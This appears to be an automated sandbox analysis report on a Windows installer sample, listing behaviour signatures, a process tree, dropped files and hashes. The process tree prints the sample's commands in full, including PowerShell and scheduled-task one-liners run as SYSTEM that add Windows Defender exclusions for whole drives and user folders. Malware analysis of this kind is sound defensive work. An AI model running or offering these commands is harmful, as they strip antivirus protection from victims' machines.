Analysis

  • max time kernel
    145s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 03:10

General

  • Target
    install.2.0.06.exe
  • Size 30.5MB
  • Sample261024-dphfzseb44
  • SHA256 998ba26d995112c09eab9c2f9de1dfc30b0a2b494de38640a4431be627bb4c83
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.06.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.06.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:1144
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:1932
    • C:\Users\Public\61daoR\C1FhOE.exe
      "C:\Users\Public\61daoR\C1FhOE.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:248
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:1540
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\61daoR\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:704
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\61daoR\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:360
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:4876
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:1260
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:2140
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:1192
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:2148
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:1696
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:4116
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:1656
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:1536
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:2504
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:2692
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:5920
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:5808
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:1532
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        PID:3632
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:2260
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:4004
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:2232
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\61daoR" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          PID:5872
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\61daoR" /t REG_DWORD /d 0 /f
                            2⤵
                              PID:2936
                          • C:\Windows\system32\cmd.exe
                            cmd.exe
                            1⤵
                              PID:1308
                            • C:\Users\Public\61daoR\C1FhOE.exe
                              "C:\Users\Public\61daoR\C1FhOE.exe"
                              1⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              PID:5940
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:2624
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                                2⤵
                                  PID:5588
                              • C:\Windows\system32\cmd.exe
                                "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                                1⤵
                                • Executes a command shell one-liner
                                PID:4544
                                • C:\Windows\System32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                                  2⤵
                                    PID:5740
                                • C:\Windows\system32\cmd.exe
                                  "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                  1⤵
                                  • Executes a command shell one-liner
                                  PID:5032
                                  • C:\Windows\System32\reg.exe
                                    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                    2⤵
                                      PID:200

                                  Network

                                        MITRE ATT&CK Enterprise v16

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                        • Size 1KB
                                        • SHA256 164ef2f06813f577119a7e8c22a59c59f72b023ab67f531a2c517e6f12236b47
                                        • MD5 SHA1 SHA512 TLSH

                                        B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                        • Size 1KB
                                        • SHA256 e8ff3ea7013767d4d43b2e29aa6318dfdaa4ed7bef397acd82cea62836066316
                                        • MD5 SHA1 SHA512 TLSH

                                        0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                        • Size 512B
                                        • SHA256 3ccb2de60dd1052348c74c01a3281b209a3509047eb77f65ab256e32ea0814fd
                                        • MD5 SHA1 SHA512 TLSH

                                        B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                        • Size 506B
                                        • SHA256 6864b105e010d57a72ef5ef942bb207c2d91a9ae861efa7807ada2c5a428af95
                                        • MD5 SHA1 SHA512 TLSH

                                        __PSScriptPolicyTest_z3ictnwi.krm.psm1

                                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z3ictnwi.krm.psm1
                                        • Size 60B
                                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                        • MD5 SHA1 SHA512 TLSH

                                        C1FhOE.exe

                                        • Path C:\Users\Public\61daoR\C1FhOE.exe
                                        • Size 135KB
                                        • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        UxEnhance64.dll

                                        • Path C:\Users\Public\61daoR\UxEnhance64.dll
                                        • Size 3.1MB
                                        • SHA256 81097da269bd285db2a924a6eee3c095c6e7b27d5fb1d6762491cd52cbc13549
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        adoresd.dat

                                        • Path C:\Users\Public\61daoR\adoresd.dat
                                        • Size 4.8MB
                                        • SHA256 9ad5426230e9e1da3f655f0501bb0141f4ce8079482f4106c28603bbc5fa9911
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        msadox.tb

                                        • Path C:\Users\Public\61daoR\msadox.tb
                                        • Size 8KB
                                        • SHA256 8749676048df7c2a12e5e3c0b95d43ae7e78cf434fcd829c049936ba5f2b533b
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        memory/248-563-0x000001D8E66D0000-0x000001D8E675A000-memory.dmp

                                        memory/248-532-0x00007FFAC5470000-0x00007FFAC5472000-memory.dmp

                                        memory/248-538-0x000001D8E5860000-0x000001D8E6137000-memory.dmp

                                        memory/248-545-0x000001D8E5860000-0x000001D8E6137000-memory.dmp

                                        memory/248-541-0x000001D8E5860000-0x000001D8E6137000-memory.dmp

                                        memory/248-547-0x000001D8E5860000-0x000001D8E6137000-memory.dmp

                                        memory/248-548-0x000001D8E5860000-0x000001D8E6137000-memory.dmp

                                        memory/248-540-0x00007FFAC5480000-0x00007FFAC5482000-memory.dmp

                                        memory/248-546-0x000001D8E5860000-0x000001D8E6137000-memory.dmp

                                        memory/248-552-0x000001D8E5860000-0x000001D8E6137000-memory.dmp

                                        memory/248-561-0x000001D8E66D0000-0x000001D8E675A000-memory.dmp

                                        memory/248-562-0x000001D8E66D0000-0x000001D8E675A000-memory.dmp

                                        memory/248-564-0x000001D8E66D0000-0x000001D8E675A000-memory.dmp

                                        memory/248-533-0x00007FFAA44E0000-0x00007FFAA49FE000-memory.dmp

                                        memory/248-558-0x000001D8E5860000-0x000001D8E6137000-memory.dmp

                                        memory/248-560-0x000001D8E65F0000-0x000001D8E663E000-memory.dmp

                                        memory/248-566-0x000001D8E5860000-0x000001D8E6137000-memory.dmp

                                        memory/248-568-0x000001D8E5860000-0x000001D8E6137000-memory.dmp

                                        memory/248-569-0x000001D8E5860000-0x000001D8E6137000-memory.dmp

                                        memory/1144-526-0x00007FFAB7290000-0x00007FFAB72A2000-memory.dmp

                                        memory/1144-525-0x0000000002720000-0x000000000272E000-memory.dmp

                                        memory/1144-503-0x00007FFAB7290000-0x00007FFAB72A2000-memory.dmp

                                        memory/1144-1-0x0000000003EE0000-0x0000000003EEC000-memory.dmp

                                        memory/1144-0-0x0000000002720000-0x000000000272E000-memory.dmp

                                        memory/1540-600-0x0000025CF3670000-0x0000025CF3692000-memory.dmp

                                        memory/1540-607-0x0000025CF36F0000-0x0000025CF36FA000-memory.dmp

                                        memory/1540-606-0x0000025CF3920000-0x0000025CF39D2000-memory.dmp

                                        memory/1540-605-0x0000025CF36D0000-0x0000025CF36EE000-memory.dmp

                                        memory/5940-591-0x00000128F1280000-0x00000128F1B57000-memory.dmp

                                        memory/5940-593-0x00007FFAC5470000-0x00007FFAC5472000-memory.dmp

                                        memory/5940-590-0x00000128F1280000-0x00000128F1B57000-memory.dmp

                                        memory/5940-589-0x00000128F1280000-0x00000128F1B57000-memory.dmp

                                        memory/5940-592-0x00000128F1280000-0x00000128F1B57000-memory.dmp

                                        memory/5940-585-0x00000128F1280000-0x00000128F1B57000-memory.dmp

                                        memory/5940-584-0x00007FFAC5480000-0x00007FFAC5482000-memory.dmp

                                        memory/5940-582-0x00000128F1280000-0x00000128F1B57000-memory.dmp

                                        memory/5940-579-0x00007FFAA44E0000-0x00007FFAA49FE000-memory.dmp